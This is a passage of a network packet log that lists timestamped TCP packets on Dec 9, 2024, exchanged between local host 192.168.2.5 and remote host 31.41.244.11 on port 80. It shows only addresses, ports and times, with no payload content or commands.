Dec 9, 2024 15:30:12.444312096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.445617914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.445672035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.445684910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.445749044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.447185040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.447200060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.447220087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.447247982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.447274923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.448709011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.448724031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.448781013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.450149059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.450166941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.450220108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.451725006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.451741934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.451775074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.451801062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.453412056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.453424931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.453435898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.453480959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.453502893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.454741001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.454752922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.454818964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.456156015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.456175089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.456224918 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.457686901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.457701921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.457743883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.459220886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.459243059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.459280014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.459309101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.460632086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.460647106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.460683107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.460706949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.462166071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.462189913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.462201118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.462224960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.462249041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.463671923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.463685989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.463730097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.465146065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.465163946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.465204000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.466650963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.466665030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.466706991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.468219042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.468231916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.468266964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.468298912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.469657898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.469676018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.469681978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.469691992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.469727993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.469758987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.590815067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.591044903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.591092110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.591146946 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.591800928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.591856956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.592566013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.592617989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.593271971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.593287945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.593322992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.593344927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.594609976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.594665051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.595158100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.595202923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.595824957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.595839024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.595874071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.595895052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.597208023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.597229004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.597259045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.597280979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.598614931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.598628998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.598680019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.599919081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.599932909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.599980116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.601277113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.601327896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.602751017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.602766037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.602777004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.602802992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.602828026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.604293108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.604305983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.604346037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.605478048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.605489969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.605525017 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.607104063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.607117891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.607150078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.607172966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.608577013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.608603954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.608623981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.608649969 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.609865904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.609882116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.609931946 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.611342907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.611355066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.611391068 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.612941980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.612958908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.613001108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.614193916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.614208937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.614243984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.614279985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.615725040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.615739107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.615748882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.615772963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.615794897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.617178917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.617193937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.617244005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.618561983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.618577003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.618626118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.618639946 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.620170116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.620184898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.620223999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.620242119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.621512890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.621526957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.621539116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.621567011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.621598959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.623044968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.623065948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.623099089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.623111010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.624567986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.624583006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.624644995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.626282930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.626296997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.626339912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.626352072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.628422976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.628437996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.628505945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.629031897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.629049063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.629060984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.629089117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.629112959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.630726099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.630740881 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.630779028 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.630800962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.632041931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.632055998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.632096052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.633539915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.633553028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.633654118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.635219097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.635231972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.635242939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.635277033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.635338068 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.638303041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.638317108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.638329029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.638345003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.638365030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.638405085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.639689922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.639746904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.639790058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.639847994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.641467094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.641483068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.641526937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.642796040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.642811060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.642822981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.642848015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.642889977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.644150019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.644167900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.644203901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.644227028 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.645632982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.645647049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.645698071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.647242069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.647254944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.647284985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.647308111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.648586988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.648621082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.648633003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.648654938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.650137901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.650183916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.654838085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.654911995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.656269073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.656285048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.656299114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.656327009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.656349897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.659131050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.659200907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.660764933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.660778999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.660824060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.662097931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.662111044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.662146091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.663629055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.663646936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.663681030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.663711071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.664993048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.665039062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.665103912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.665143967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.666637897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.666651964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.666685104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.666754961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.666831970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.668087006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.668098927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.668112993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.668139935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.668157101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.785953999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.786071062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.786286116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.786336899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.787648916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.787707090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.788464069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.788516998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.788976908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.788991928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.789026976 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.789051056 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.790230036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.790285110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.790946960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.790996075 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.791554928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.791568041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.791608095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.792769909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.792783976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.792824984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.794089079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.794100046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.794142962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.795190096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.795245886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.796295881 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.796356916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.796911955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.796924114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.796964884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.796977043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.798314095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.798326015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.798383951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.799647093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.799659014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.799706936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.801043987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.801059008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.801100016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.801129103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.802393913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.802405119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.802452087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.804056883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.804076910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.804116964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.804130077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.805762053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.805777073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.805824995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.807249069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.807270050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.807307005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.807327032 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.808584929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.808599949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.808610916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.808634996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.808648109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.809947968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.809962988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.810002089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.811383963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.811398029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.811436892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.813025951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.813040018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.813086987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.814435959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.814450979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.814506054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.814528942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.815927029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.815943003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.815954924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.815994024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.816028118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.817414999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.817429066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.817464113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.817475080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.819274902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.819288969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.819330931 CET	49866	80	192.168.2.5	31.41.244.11
